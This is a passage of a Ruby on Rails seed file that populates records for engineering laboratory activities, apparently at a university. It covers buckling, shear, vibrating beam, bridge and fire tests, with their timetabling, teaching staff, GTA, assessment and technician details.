nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a61.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a61.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a61.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a62 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE207\").first.id, code: \"238\").first_or_create!(name: \"Elastic Instability: Torsional Buckling and Tin Plates\",\n name_abrv: \"EI - Torsion\", archived: false, in_drive: true, user_id: 5)\n at62 = ActivityTimetable.where(activity_id: a62.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"Needs GUNT equipment & Shimadzu\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a62.id).first_or_create!(user_id: 2, g_drive_link: \"https://goo.gl/JSCoLz\",\n mole_pub_link: \"https://goo.gl/gTFMau\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a62.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a62.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a62.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a62.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a63 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2100\").first.id, code: \"217\").first_or_create!(name: \"Elastic Instability: Torsional Buckling and Tin Plates\",\n name_abrv: \"EI - Torsion\", archived: false, in_drive: true, user_id: 3)\n at63 = ActivityTimetable.where(activity_id: a63.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"Needs GUNT equipment & Shimadzu\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a63.id).first_or_create!(user_id: 4, g_drive_link: \"https://goo.gl/JSCoLz\",\n mole_pub_link: \"https://goo.gl/gTFMau\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a63.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a63.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a63.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a63.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a64 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR222\").first.id, code: \"218\").first_or_create!(name: \"Buckling\",\n name_abrv: \"BUCKLING\", archived: false, in_drive: true, user_id: 3)\n at64 = ActivityTimetable.where(activity_id: a64.id).first_or_create!(duration: nil, kit_prep_time: 960, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"Needs Shimadzu\",\n capacity: nil, checked_on_timetable: false)\n RoomBooking.where(activity_timetable_id: at64.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a64.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a64.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of elastic instability of struts.\",\n job_desc:\"In this lab, students perform buckling tests on a series of struts of different lengths. Shimadzu tensometers are used to perform the tests, and the results are compared to predictions using Euler buckling and modified empirical formulae.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a64.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityProgramme.where(activity_id: a64.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a65 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1000\").first.id, code: \"218\").first_or_create!(name: \"Normal and Shear Stress in a Beam\",\n name_abrv: \"Shear\", archived: false, in_drive: true, user_id: 1)\n at65 = ActivityTimetable.where(activity_id: a65.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"Needs GUNT equipment\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at65.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a65.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/Lo6Fyd\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a65.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a65.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 3)\n ActivityTech.where(activity_id: a65.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a65.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a66 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6276\").first.id, code: \"219\").first_or_create!(name: \"Joint testing\",\n name_abrv: \"JOINTS\", archived: false, in_drive: false, user_id: 1)\n at66 = ActivityTimetable.where(activity_id: a66.id).first_or_create!(duration: 120, kit_prep_time: 480, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a66.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/V7kcA5\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a66.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a66.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a66.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a66.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a67 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV150\").first.id, code: \"220\").first_or_create!(name: \"Direct Shear Test\",\n name_abrv: \"SHEREBOX\", archived: false, in_drive: false, user_id: 2)\n at67 = ActivityTimetable.where(activity_id: a67.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at67.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a67.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/iRpLZu\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a67.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a67.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a67.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a67.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a68 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6276\").first.id, code: \"221\").first_or_create!(name: \"Stability\",\n name_abrv: \"STABILITY\", archived: false, in_drive: false, user_id: 1)\n at68 = ActivityTimetable.where(activity_id: a68.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a68.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/XN4C9z\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a68.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a68.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a68.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a68.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a69 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR222\").first.id, code: \"222\").first_or_create!(name: \"Vibrating Beams\",\n name_abrv: \"VIBBEAM\", archived: false, in_drive: false, user_id: 3)\n at69 = ActivityTimetable.where(activity_id: a69.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n RoomBooking.where(activity_timetable_id: at69.id, room_id: $room_sd.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a69.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a69.id).first_or_create!(criteria: \"The ideal candidate should have a strong background in basic dynamics.\",\n job_desc:\"Dynamics Lab investiagating SDOF system under free and forced oscillation. The effect of an external damper is also studied.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a69.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a69.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a69.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a70 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR223\").first.id, code: \"222\").first_or_create!(name: \"Vibrating Beams\",\n name_abrv: \"VIBBEAM\", archived: false, in_drive: false, user_id: 5)\n at70 = ActivityTimetable.where(activity_id: a70.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n RoomBooking.where(activity_timetable_id: at70.id, room_id: $room_sd.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a70.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a70.id).first_or_create!(criteria: \"The ideal candidate should have a strong background in basic dynamics.\",\n job_desc:\"Dynamics Lab investiagating SDOF system under free and forced oscillation. The effect of an external damper is also studied.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a70.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a70.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a70.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a71 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR305\").first.id, code: \"222\").first_or_create!(name: \"Vibrating Beam\",\n name_abrv: \"VIBBEAM\", archived: true, in_drive: false, user_id: 5)\n at71 = ActivityTimetable.where(activity_id: a71.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n RoomBooking.where(activity_timetable_id: at71.id, room_id: $room_sd.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a71.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/nTh2oR\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a71.id).first_or_create!(criteria: \"The ideal candidate should have a strong background in basic dynamics.\",\n job_desc:\"Dynamics Lab investiagating SDOF system under free and forced oscillation. The effect of an external damper is also studied.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a71.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a71.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a71.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a72 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV4181\").first.id, code: \"222\").first_or_create!(name: \"Vibrating Beams\",\n name_abrv: \"VIBBEAMS\", archived: false, in_drive: true, user_id: 2)\n at72 = ActivityTimetable.where(activity_id: a72.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at72.id, room_id: $room_sd.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a72.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a72.id).first_or_create!(criteria: \"The ideal candidate should have a strong background in basic dynamics.\",\n job_desc:\"Dynamics Lab investiagating SDOF system under free and forced oscillation. The effect of an external damper is also studied.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a72.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a72.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a72.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a73 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6181\").first.id, code: \"222\").first_or_create!(name: \"Vibrating Beams\",\n name_abrv: \"VIBBEAMS\", archived: false, in_drive: true, user_id: 4)\n at73 = ActivityTimetable.where(activity_id: a73.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at73.id, room_id: $room_sd.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a73.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a73.id).first_or_create!(criteria: \"The ideal candidate should have a strong background in basic dynamics.\",\n job_desc:\"Dynamics Lab investiagating SDOF system under free and forced oscillation. The effect of an external damper is also studied.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a73.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a73.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a73.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a74 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1200\").first.id, code: \"223\").first_or_create!(name: \"Paper Column\",\n name_abrv: \"PAPER\", archived: false, in_drive: true, user_id: 3)\n at74 = ActivityTimetable.where(activity_id: a74.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 3, max_week_num: 4, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"Needs Shimadzu\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at74.id, room_id: $room_ml.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a74.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a74.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a74.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a74.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a74.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a75 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1200\").first.id, code: \"224\").first_or_create!(name: \"PASCO Bridge\",\n name_abrv: \"PASCO\", archived: false, in_drive: true, user_id: 2)\n at75 = ActivityTimetable.where(activity_id: a75.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 4, max_week_num: 5, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"After Paper Column\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a75.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a75.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a75.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a75.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a75.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a76 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1200\").first.id, code: \"225\").first_or_create!(name: \"Bridge Design\",\n name_abrv: \"BRIDGE DSG\", archived: false, in_drive: false, user_id: 3)\n at76 = ActivityTimetable.where(activity_id: a76.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"After PASCO bridge\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a76.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a76.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a76.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a76.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a76.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a77 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1200\").first.id, code: \"226\").first_or_create!(name: \"Bridge Test\",\n name_abrv: \"BRIDGE TST\", archived: false, in_drive: false, user_id: 3)\n at77 = ActivityTimetable.where(activity_id: a77.id).first_or_create!(duration: 45, kit_prep_time: nil, min_week_num: 9, max_week_num: 10, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 480, takedown_time: 480, notes: \"After Bridge Building\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a77.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a77.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a77.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a77.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a77.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a78 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV4254\").first.id, code: \"227\").first_or_create!(name: \"Fire Test\",\n name_abrv: \"FIRE\", archived: false, in_drive: false, user_id: 1)\n at78 = ActivityTimetable.where(activity_id: a78.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Experiment taking place outside (stores courtyard)\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a78.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a78.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a78.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a78.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a78.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a79 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6254\").first.id, code: \"227\").first_or_create!(name: \"Fire Test\",\n name_abrv: \"FIRE\", archived: false, in_drive: true, user_id: 1)\n at79 = ActivityTimetable.where(activity_id: a79.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Experiment taking place outside (stores courtyard)\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a79.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a79.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a79.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a79.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a79.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a80 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR303\").first.id, code: \"228\").first_or_create!(name: \"Welded Coupons\",\n name_abrv: \"COUP\", archived: false, in_drive: false, user_id: 3)\n at80 = ActivityTimetable.where(activity_id: a80.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a80.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a80.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a80.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a80.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a80.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a81 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER104\").first.id, code: \"229\").first_or_create!(name: \"Moving Hinge\",\n name_abrv: \"Moving Hinge\", archived: false, in_drive: true, user_id: 5)\n at81 = ActivityTimetable.where(activity_id: a81.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a81.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: 